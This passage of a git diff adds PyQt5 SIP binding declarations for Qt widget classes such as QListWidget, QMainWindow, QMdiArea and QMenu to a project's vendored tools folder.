virtual void wheelEvent(QWheelEvent *e); +%End + virtual void startDrag(Qt::DropActions supportedActions); + virtual QStyleOptionViewItem viewOptions() const; + virtual void paintEvent(QPaintEvent *e); + virtual int horizontalOffset() const; + virtual int verticalOffset() const; + virtual QModelIndex moveCursor(QAbstractItemView::CursorAction cursorAction, Qt::KeyboardModifiers modifiers); + QRect rectForIndex(const QModelIndex &index) const; + void setPositionForIndex(const QPoint &position, const QModelIndex &index); + virtual void setSelection(const QRect &rect, QItemSelectionModel::SelectionFlags command); + virtual QRegion visualRegionForSelection(const QItemSelection &selection) const; + virtual QModelIndexList selectedIndexes() const; + virtual void updateGeometries(); + virtual bool isIndexHidden(const QModelIndex &index) const; +%If (Qt_5_2_0 -) + virtual QSize viewportSizeHint() const; +%End + +public: + void setBatchSize(int batchSize); + int batchSize() const; + void setWordWrap(bool on); + bool wordWrap() const; + void setSelectionRectVisible(bool show); + bool isSelectionRectVisible() const; + +protected: + virtual void selectionChanged(const QItemSelection &selected, const QItemSelection &deselected); + virtual void currentChanged(const QModelIndex ¤t, const QModelIndex &previous); + +public: +%If (Qt_5_12_0 -) + void setItemAlignment(Qt::Alignment alignment); +%End +%If (Qt_5_12_0 -) + Qt::Alignment itemAlignment() const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qlistwidget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qlistwidget.sip new file mode 100644 index 00000000..84b049e8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qlistwidget.sip @@ -0,0 +1,196 @@ +// qlistwidget.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QListWidgetItem /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + enum ItemType + { + Type, + UserType, + }; + + QListWidgetItem(QListWidget *parent /TransferThis/ = 0, int type = Type); + QListWidgetItem(const QString &text, QListWidget *parent /TransferThis/ = 0, int type = Type); + QListWidgetItem(const QIcon &icon, const QString &text, QListWidget *parent /TransferThis/ = 0, int type = Type); + QListWidgetItem(const QListWidgetItem &other); + virtual ~QListWidgetItem(); + virtual QListWidgetItem *clone() const /Factory/; + QListWidget *listWidget() const; + Qt::ItemFlags flags() const; + QString text() const; + QIcon icon() const; + QString statusTip() const; + QString toolTip() const; + QString whatsThis() const; + QFont font() const; + int textAlignment() const; + void setTextAlignment(int alignment); + Qt::CheckState checkState() const; + void setCheckState(Qt::CheckState state); + QSize sizeHint() const; + void setSizeHint(const QSize &size); + virtual QVariant data(int role) const; + virtual void setData(int role, const QVariant &value); + virtual bool operator<(const QListWidgetItem &other /NoCopy/) const; + virtual void read(QDataStream &in) /ReleaseGIL/; + virtual void write(QDataStream &out) const /ReleaseGIL/; + int type() const; + void setFlags(Qt::ItemFlags aflags); + void setText(const QString &atext); + void setIcon(const QIcon &aicon); + void setStatusTip(const QString &astatusTip); + void setToolTip(const QString &atoolTip); + void setWhatsThis(const QString &awhatsThis); + void setFont(const QFont &afont); + QBrush background() const; + void setBackground(const QBrush &brush); + QBrush foreground() const; + void setForeground(const QBrush &brush); + void setSelected(bool aselect); + bool isSelected() const; + void setHidden(bool ahide); + bool isHidden() const; + +private: + QListWidgetItem &operator=(const QListWidgetItem &); +}; + +QDataStream &operator<<(QDataStream &out, const QListWidgetItem &item /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &in, QListWidgetItem &item /Constrained/) /ReleaseGIL/; + +class QListWidget : QListView +{ +%TypeHeaderCode +#include +%End + +public: + explicit QListWidget(QWidget *parent /TransferThis/ = 0); + virtual ~QListWidget(); + QListWidgetItem *item(int row) const; + int row(const QListWidgetItem *item) const; + void insertItem(int row, QListWidgetItem *item /Transfer/); + void insertItem(int row, const QString &label); + void insertItems(int row, const QStringList &labels); + void addItem(QListWidgetItem *aitem /Transfer/); + void addItem(const QString &label); + void addItems(const QStringList &labels); + QListWidgetItem *takeItem(int row) /TransferBack/; + int count() const /__len__/; + QListWidgetItem *currentItem() const; + void setCurrentItem(QListWidgetItem *item); + void setCurrentItem(QListWidgetItem *item, QItemSelectionModel::SelectionFlags command); + int currentRow() const; + void setCurrentRow(int row); + void setCurrentRow(int row, QItemSelectionModel::SelectionFlags command); + QListWidgetItem *itemAt(const QPoint &p) const; + QListWidgetItem *itemAt(int ax, int ay) const; + QWidget *itemWidget(QListWidgetItem *item) const; + void setItemWidget(QListWidgetItem *item, QWidget *widget /Transfer/); +%MethodCode + // We have to break the association with any existing widget. + QWidget *w = sipCpp->itemWidget(a0); + + if (w) + { + PyObject *wo = sipGetPyObject(w, sipType_QWidget); + + if (wo) + sipTransferTo(wo, 0); + } + + Py_BEGIN_ALLOW_THREADS + sipCpp->setItemWidget(a0, a1); + Py_END_ALLOW_THREADS +%End + + QRect visualItemRect(const QListWidgetItem *item) const; + void sortItems(Qt::SortOrder order = Qt::AscendingOrder); + void editItem(QListWidgetItem *item); + void openPersistentEditor(QListWidgetItem *item); + void closePersistentEditor(QListWidgetItem *item); + QList selectedItems() const; + QList findItems(const QString &text, Qt::MatchFlags flags) const; + +public slots: + void clear(); + void scrollToItem(const QListWidgetItem *item, QAbstractItemView::ScrollHint hint = QAbstractItemView::EnsureVisible); + +signals: + void itemPressed(QListWidgetItem *item); + void itemClicked(QListWidgetItem *item); + void itemDoubleClicked(QListWidgetItem *item); + void itemActivated(QListWidgetItem *item); + void itemEntered(QListWidgetItem *item); + void itemChanged(QListWidgetItem *item); + void currentItemChanged(QListWidgetItem *current, QListWidgetItem *previous); + void currentTextChanged(const QString ¤tText); + void currentRowChanged(int currentRow); + void itemSelectionChanged(); + +protected: + virtual QStringList mimeTypes() const; + virtual QMimeData *mimeData(const QList items) const /TransferBack/; + virtual bool dropMimeData(int index, const QMimeData *data, Qt::DropAction action); + virtual Qt::DropActions supportedDropActions() const; + QList items(const QMimeData *data) const; + QModelIndex indexFromItem(QListWidgetItem *item) const; + QListWidgetItem *itemFromIndex(const QModelIndex &index) const; + virtual bool event(QEvent *e); + +public: + void setSortingEnabled(bool enable); + bool isSortingEnabled() const; + virtual void dropEvent(QDropEvent *event); + void removeItemWidget(QListWidgetItem *aItem); +%MethodCode + // We have to break the association with any existing widget. + QWidget *w = sipCpp->itemWidget(a0); + + if (w) + { + PyObject *wo = sipGetPyObject(w, sipType_QWidget); + + if (wo) + sipTransferTo(wo, 0); + } + + Py_BEGIN_ALLOW_THREADS + sipCpp->removeItemWidget(a0); + Py_END_ALLOW_THREADS +%End + +%If (Qt_5_7_0 -) + virtual void setSelectionModel(QItemSelectionModel *selectionModel); +%End +%If (Qt_5_10_0 -) + bool isPersistentEditorOpen(QListWidgetItem *item) const; +%End + +private: + virtual void setModel(QAbstractItemModel *model /KeepReference/); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qmaccocoaviewcontainer.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qmaccocoaviewcontainer.sip new file mode 100644 index 00000000..f7e29c4f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qmaccocoaviewcontainer.sip @@ -0,0 +1,42 @@ +// This is the SIP interface definition for the QMacCocoaViewContainer. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (WS_MACX) +%If (PyQt_MacOSXOnly) + +class QMacCocoaViewContainer : QWidget /FileExtension=".mm"/ +{ +%TypeHeaderCode +#include +%End + +public: + QMacCocoaViewContainer(void *cocoaViewToWrap, QWidget *parent /TransferThis/ = 0) [(NSView *, QWidget *)]; + virtual ~QMacCocoaViewContainer(); + + void setCocoaView(void *cocoaViewToWrap) [void (NSView *)]; + void *cocoaView() const [NSView * ()]; + +private: + QMacCocoaViewContainer(const QMacCocoaViewContainer &); +}; + +%End +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qmainwindow.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qmainwindow.sip new file mode 100644 index 00000000..84a9516b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qmainwindow.sip @@ -0,0 +1,123 @@ +// qmainwindow.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMainWindow : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + QMainWindow(QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = Qt::WindowFlags()); + virtual ~QMainWindow(); + QSize iconSize() const; + void setIconSize(const QSize &iconSize); + Qt::ToolButtonStyle toolButtonStyle() const; + void setToolButtonStyle(Qt::ToolButtonStyle toolButtonStyle); + QMenuBar *menuBar() const /Transfer/; + void setMenuBar(QMenuBar *menubar /Transfer/); + QStatusBar *statusBar() const /Transfer/; + void setStatusBar(QStatusBar *statusbar /Transfer/); + QWidget *centralWidget() const; + void setCentralWidget(QWidget *widget /Transfer/); + void setCorner(Qt::Corner corner, Qt::DockWidgetArea area); + Qt::DockWidgetArea corner(Qt::Corner corner) const; + void addToolBarBreak(Qt::ToolBarArea area = Qt::TopToolBarArea); + void insertToolBarBreak(QToolBar *before); + void addToolBar(Qt::ToolBarArea area, QToolBar *toolbar /Transfer/); + void addToolBar(QToolBar *toolbar /Transfer/); + QToolBar *addToolBar(const QString &title) /Transfer/; + void insertToolBar(QToolBar *before, QToolBar *toolbar /Transfer/); + void removeToolBar(QToolBar *toolbar); + Qt::ToolBarArea toolBarArea(QToolBar *toolbar) const; + void addDockWidget(Qt::DockWidgetArea area, QDockWidget *dockwidget /Transfer/); + void addDockWidget(Qt::DockWidgetArea area, QDockWidget *dockwidget /Transfer/, Qt::Orientation orientation); + void splitDockWidget(QDockWidget *after, QDockWidget *dockwidget /Transfer/, Qt::Orientation orientation); + void removeDockWidget(QDockWidget *dockwidget /TransferBack/); + Qt::DockWidgetArea dockWidgetArea(QDockWidget *dockwidget) const; + QByteArray saveState(int version = 0) const; + bool restoreState(const QByteArray &state, int version = 0); + virtual QMenu *createPopupMenu(); + +public slots: + void setAnimated(bool enabled); + void setDockNestingEnabled(bool enabled); + +signals: + void iconSizeChanged(const QSize &iconSize); + void toolButtonStyleChanged(Qt::ToolButtonStyle toolButtonStyle); +%If (Qt_5_8_0 -) + void tabifiedDockWidgetActivated(QDockWidget *dockWidget); +%End + +protected: + virtual void contextMenuEvent(QContextMenuEvent *event); + virtual bool event(QEvent *event); + +public: + bool isAnimated() const; + bool isDockNestingEnabled() const; + bool isSeparator(const QPoint &pos) const; + QWidget *menuWidget() const; + void setMenuWidget(QWidget *menubar /Transfer/); + void tabifyDockWidget(QDockWidget *first, QDockWidget *second); + + enum DockOption + { + AnimatedDocks, + AllowNestedDocks, + AllowTabbedDocks, + ForceTabbedDocks, + VerticalTabs, +%If (Qt_5_6_0 -) + GroupedDragging, +%End + }; + + typedef QFlags DockOptions; + void setDockOptions(QMainWindow::DockOptions options); + QMainWindow::DockOptions dockOptions() const; + void removeToolBarBreak(QToolBar *before); + bool toolBarBreak(QToolBar *toolbar) const; +%If (Qt_5_2_0 -) + void setUnifiedTitleAndToolBarOnMac(bool set); +%End +%If (Qt_5_2_0 -) + bool unifiedTitleAndToolBarOnMac() const; +%End + bool restoreDockWidget(QDockWidget *dockwidget); + bool documentMode() const; + void setDocumentMode(bool enabled); + QTabWidget::TabShape tabShape() const; + void setTabShape(QTabWidget::TabShape tabShape); + QTabWidget::TabPosition tabPosition(Qt::DockWidgetArea area) const; + void setTabPosition(Qt::DockWidgetAreas areas, QTabWidget::TabPosition tabPosition); + QList tabifiedDockWidgets(QDockWidget *dockwidget) const; +%If (Qt_5_2_0 -) + QWidget *takeCentralWidget() /TransferBack/; +%End +%If (Qt_5_6_0 -) + void resizeDocks(const QList &docks, const QList &sizes, Qt::Orientation orientation); +%End +}; + +QFlags operator|(QMainWindow::DockOption f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qmdiarea.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qmdiarea.sip new file mode 100644 index 00000000..a9a6bf25 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qmdiarea.sip @@ -0,0 +1,127 @@ +// qmdiarea.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMdiArea : QAbstractScrollArea +{ +%TypeHeaderCode +#include +%End + +public: + enum AreaOption + { + DontMaximizeSubWindowOnActivation, + }; + + typedef QFlags AreaOptions; + + enum ViewMode + { + SubWindowView, + TabbedView, + }; + + enum WindowOrder + { + CreationOrder, + StackingOrder, + ActivationHistoryOrder, + }; + + QMdiArea(QWidget *parent /TransferThis/ = 0); + virtual ~QMdiArea(); + virtual QSize sizeHint() const; + virtual QSize minimumSizeHint() const; + QMdiSubWindow *activeSubWindow() const; + QMdiSubWindow *addSubWindow(QWidget *widget /Transfer/, Qt::WindowFlags flags = Qt::WindowFlags()); + QList subWindowList(QMdiArea::WindowOrder order = QMdiArea::CreationOrder) const; + QMdiSubWindow *currentSubWindow() const; + void removeSubWindow(QWidget *widget /GetWrapper/); +%MethodCode + // We need to implement /TransferBack/ on the argument, but it might be the + // QMdiSubWindow that wraps the widget we are really after. + QMdiSubWindow *swin = qobject_cast(a0); + + if (swin) + { + QWidget *w = swin->widget(); + + a0Wrapper = (w ? sipGetPyObject(w, sipType_QWidget) : 0); + } + else + a0Wrapper = 0; + + Py_BEGIN_ALLOW_THREADS + sipCpp->removeSubWindow(a0); + Py_END_ALLOW_THREADS + + if (a0Wrapper) + sipTransferBack(a0Wrapper); +%End + + QBrush background() const; + void setBackground(const QBrush &background); + void setOption(QMdiArea::AreaOption option, bool on = true); + bool testOption(QMdiArea::AreaOption opton) const; + +signals: + void subWindowActivated(QMdiSubWindow *); + +public slots: + void setActiveSubWindow(QMdiSubWindow *window); + void tileSubWindows(); + void cascadeSubWindows(); + void closeActiveSubWindow(); + void closeAllSubWindows(); + void activateNextSubWindow(); + void activatePreviousSubWindow(); + +protected: + virtual void setupViewport(QWidget *viewport); + virtual bool event(QEvent *event); + virtual bool eventFilter(QObject *object, QEvent *event); + virtual void paintEvent(QPaintEvent *paintEvent); + virtual void childEvent(QChildEvent *childEvent); + virtual void resizeEvent(QResizeEvent *resizeEvent); + virtual void timerEvent(QTimerEvent *timerEvent); + virtual void showEvent(QShowEvent *showEvent); + virtual bool viewportEvent(QEvent *event); + virtual void scrollContentsBy(int dx, int dy); + +public: + QMdiArea::WindowOrder activationOrder() const; + void setActivationOrder(QMdiArea::WindowOrder order); + void setViewMode(QMdiArea::ViewMode mode); + QMdiArea::ViewMode viewMode() const; + void setTabShape(QTabWidget::TabShape shape); + QTabWidget::TabShape tabShape() const; + void setTabPosition(QTabWidget::TabPosition position); + QTabWidget::TabPosition tabPosition() const; + bool documentMode() const; + void setDocumentMode(bool enabled); + void setTabsClosable(bool closable); + bool tabsClosable() const; + void setTabsMovable(bool movable); + bool tabsMovable() const; +}; + +QFlags operator|(QMdiArea::AreaOption f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qmdisubwindow.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qmdisubwindow.sip new file mode 100644 index 00000000..d8850061 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qmdisubwindow.sip @@ -0,0 +1,119 @@ +// qmdisubwindow.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMdiSubWindow : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + enum SubWindowOption + { + RubberBandResize, + RubberBandMove, + }; + + typedef QFlags SubWindowOptions; + QMdiSubWindow(QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = Qt::WindowFlags()); + virtual ~QMdiSubWindow(); + virtual QSize sizeHint() const; + virtual QSize minimumSizeHint() const; + void setWidget(QWidget *widget /Transfer/); +%MethodCode + // We have to implement /TransferBack/ on any existing widget. + QWidget *w = sipCpp->widget(); + + Py_BEGIN_ALLOW_THREADS + sipCpp->setWidget(a0); + Py_END_ALLOW_THREADS + + if (w) + { + PyObject *wo = sipGetPyObject(w, sipType_QWidget); + + if (wo) + sipTransferBack(wo); + } +%End + + QWidget *widget() const; + bool isShaded() const; + void setOption(QMdiSubWindow::SubWindowOption option, bool on = true); + bool testOption(QMdiSubWindow::SubWindowOption) const; + void setKeyboardSingleStep(int step); + int keyboardSingleStep() const; + void setKeyboardPageStep(int step); + int keyboardPageStep() const; + void setSystemMenu(QMenu *systemMenu /Transfer/); +%MethodCode + // We have to break the parent association on any existing menu. + QMenu *w = sipCpp->systemMenu(); + + if (w) + { + PyObject *wo = sipGetPyObject(w, sipType_QMenu); + + if (wo) + sipTransferTo(wo, 0); + } + + Py_BEGIN_ALLOW_THREADS + sipCpp->setSystemMenu(a0); + Py_END_ALLOW_THREADS +%End + + QMenu *systemMenu() const; + QMdiArea *mdiArea() const; + +signals: + void windowStateChanged(Qt::WindowStates oldState, Qt::WindowStates newState); + void aboutToActivate(); + +public slots: + void showSystemMenu(); + void showShaded(); + +protected: + virtual bool eventFilter(QObject *object, QEvent *event); + virtual bool event(QEvent *event); + virtual void showEvent(QShowEvent *showEvent); + virtual void hideEvent(QHideEvent *hideEvent); + virtual void changeEvent(QEvent *changeEvent); + virtual void closeEvent(QCloseEvent *closeEvent); + virtual void leaveEvent(QEvent *leaveEvent); + virtual void resizeEvent(QResizeEvent *resizeEvent); + virtual void timerEvent(QTimerEvent *timerEvent); + virtual void moveEvent(QMoveEvent *moveEvent); + virtual void paintEvent(QPaintEvent *paintEvent); + virtual void mousePressEvent(QMouseEvent *mouseEvent); + virtual void mouseDoubleClickEvent(QMouseEvent *mouseEvent); + virtual void mouseReleaseEvent(QMouseEvent *mouseEvent); + virtual void mouseMoveEvent(QMouseEvent *mouseEvent); + virtual void keyPressEvent(QKeyEvent *keyEvent); + virtual void contextMenuEvent(QContextMenuEvent *contextMenuEvent); + virtual void focusInEvent(QFocusEvent *focusInEvent); + virtual void focusOutEvent(QFocusEvent *focusOutEvent); + virtual void childEvent(QChildEvent *childEvent); +}; + +QFlags operator|(QMdiSubWindow::SubWindowOption f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qmenu.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qmenu.sip new file mode 100644 index 00000000..5f2a489e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qmenu.sip @@ -0,0 +1,163 @@ +// qmenu.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMenu : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + explicit QMenu(QWidget *parent /TransferThis/ = 0); + QMenu(const QString &title, QWidget *parent /TransferThis/ = 0); + virtual ~QMenu(); + void addAction(QAction *action); + QAction *addAction(const QString &text) /Transfer/; + QAction *addAction(const QIcon &icon, const QString &text) /Transfer/; + QAction *addAction(const QString &text, SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/, const QKeySequence &shortcut = 0) /Transfer/; +%MethodCode + QObject *receiver; + QByteArray slot_signature; + + if ((sipError = pyqt5_qtwidgets_get_connection_parts(a1, sipCpp, "()", false, &receiver, slot_signature)) == sipErrorNone) + { + sipRes = sipCpp->addAction(*a0, receiver, slot_signature.constData(), *a2); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(1, a1); + } +%End + + QAction *addAction(const QIcon &icon, const QString &text, SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/, const QKeySequence &shortcut = 0) /Transfer/; +%MethodCode + QObject *receiver; + QByteArray slot_signature; + + if ((sipError = pyqt5_qtwidgets_get_connection_parts(a2, sipCpp, "()", false, &receiver, slot_signature)) == sipErrorNone) + { + sipRes = sipCpp->addAction(*a0, *a1, receiver, slot_signature.constData(), *a3); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(2, a2); + } +%End + + QAction *addMenu(QMenu *menu); + QMenu *addMenu(const QString &title) /Transfer/; + QMenu *addMenu(const QIcon &icon, const QString &title) /Transfer/; + QAction *addSeparator() /Transfer/; + QAction *insertMenu(QAction *before, QMenu *menu); + QAction *insertSeparator(QAction *before) /Transfer/; + void clear(); + void setTearOffEnabled(bool); + bool isTearOffEnabled() const; + bool isTearOffMenuVisible() const; + void hideTearOffMenu(); + void setDefaultAction(QAction * /KeepReference/); + QAction *defaultAction() const; + void setActiveAction(QAction *act); + QAction *activeAction() const; + void popup(const QPoint &p, QAction *action = 0); + QAction *exec() /PostHook=__pyQtPostEventLoopHook__,PreHook=__pyQtPreEventLoopHook__,PyName=exec_,ReleaseGIL/; +%If (Py_v3) + QAction *exec() /ReleaseGIL/; +%End + QAction *exec(const QPoint &p, QAction *action = 0) /PostHook=__pyQtPostEventLoopHook__,PreHook=__pyQtPreEventLoopHook__,PyName=exec_,ReleaseGIL/; +%If (Py_v3) + QAction *exec(const QPoint &pos, QAction *action = 0) /ReleaseGIL/; +%End + static QAction *exec(QList actions, const QPoint &pos, QAction *at = 0, QWidget *parent = 0) /PostHook=__pyQtPostEventLoopHook__,PreHook=__pyQtPreEventLoopHook__,PyName=exec_,ReleaseGIL/; +%If (Py_v3) + static QAction *exec(QList actions, const QPoint &pos, QAction *at = 0, QWidget *parent = 0) /PostHook=__pyQtPostEventLoopHook__,PreHook=__pyQtPreEventLoopHook__,ReleaseGIL/; +%End + virtual QSize sizeHint() const; + QRect actionGeometry(QAction *) const; + QAction *actionAt(const QPoint &) const; + QAction *menuAction() const; + QString title() const; + void setTitle(const QString &title); + QIcon icon() const; + void setIcon(const QIcon &icon); + void setNoReplayFor(QWidget *widget); + +signals: + void aboutToHide(); + void aboutToShow(); + void hovered(QAction *action); + void triggered(QAction *action); + +protected: + int columnCount() const; + void initStyleOption(QStyleOptionMenuItem *option, const QAction *action) const; + virtual void changeEvent(QEvent *); + virtual void keyPressEvent(QKeyEvent *); + virtual void mouseReleaseEvent(QMouseEvent *); + virtual void mousePressEvent(QMouseEvent *); + virtual void mouseMoveEvent(QMouseEvent *); + virtual void wheelEvent(QWheelEvent *); + virtual void enterEvent(QEvent *); + virtual void leaveEvent(QEvent *); + virtual void hideEvent(QHideEvent *); + virtual void paintEvent(QPaintEvent *); + virtual void actionEvent(QActionEvent *); + virtual void timerEvent(QTimerEvent *); + virtual bool event(QEvent *); + virtual bool focusNextPrevChild(bool next); + +public: + bool isEmpty() const; + bool separatorsCollapsible() const; + void setSeparatorsCollapsible(bool collapse); +%If (Qt_5_1_0 -) + QAction *addSection(const QString &text) /Transfer/; +%End +%If (Qt_5_1_0 -) + QAction *addSection(const QIcon &icon, const QString &text) /Transfer/; +%End +%If (Qt_5_1_0 -) + QAction *insertSection(QAction *before, const QString &text) /Transfer/; +%End +%If (Qt_5_1_0 -) + QAction *insertSection(QAction *before, const QIcon &icon, const QString &text) /Transfer/; +%End +%If (Qt_5_1_0 -) + bool toolTipsVisible() const; +%End +%If (Qt_5_1_0 -) + void setToolTipsVisible(bool visible); +%End +%If (Qt_5_2_0 -) +%If (WS_MACX) +%If (PyQt_MacOSXOnly) + void setAsDockMenu(); +%End +%End +%End +%If (Qt_5_7_0 -) + void showTearOffMenu(); +%End +%If (Qt_5_7_0 -) + void showTearOffMenu(const QPoint &pos); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qmenubar.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qmenubar.sip new file mode 100644 index 00000000..ce086c24 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qmenubar.sip @@ -0,0 +1,93 @@ +// qmenubar.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMenuBar : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + explicit QMenuBar(QWidget *parent /TransferThis/ = 0); + virtual ~QMenuBar(); + void addAction(QAction *action); + QAction *addAction(const QString &text) /Transfer/; + QAction *addAction(const QString &text, SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/) /Transfer/; +%MethodCode + QObject *receiver; + QByteArray slot_signature; + + if ((sipError = pyqt5_qtwidgets_get_connection_parts(a1, sipCpp, "()", false, &receiver, slot_signature)) == sipErrorNone) + { + sipRes = sipCpp->addAction(*a0, receiver, slot_signature.constData()); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(1, a1); + } +%End + + QAction *addMenu(QMenu *menu); + QMenu *addMenu(const QString &title) /Transfer/; + QMenu *addMenu(const QIcon &icon, const QString &title) /Transfer/; + QAction *addSeparator() /Transfer/; + QAction *insertMenu(QAction *before, QMenu *menu); + QAction *insertSeparator(QAction *before) /Transfer/; + void clear(); + QAction *activeAction() const; + void setActiveAction(QAction *action); + void setDefaultUp(bool); + bool isDefaultUp() const; + virtual QSize sizeHint() const; + virtual QSize minimumSizeHint() const; + virtual int heightForWidth(int) const; + QRect actionGeometry(QAction *) const; + QAction *actionAt(const QPoint &) const; + void setCornerWidget(QWidget *widget /Transfer/, Qt::Corner corner = Qt::TopRightCorner); + QWidget *cornerWidget(Qt::Corner corner = Qt::TopRightCorner) const; + virtual void setVisible(bool visible); + +signals: + void triggered(QAction *action); + void hovered(QAction *action); + +protected: + void initStyleOption(QStyleOptionMenuItem 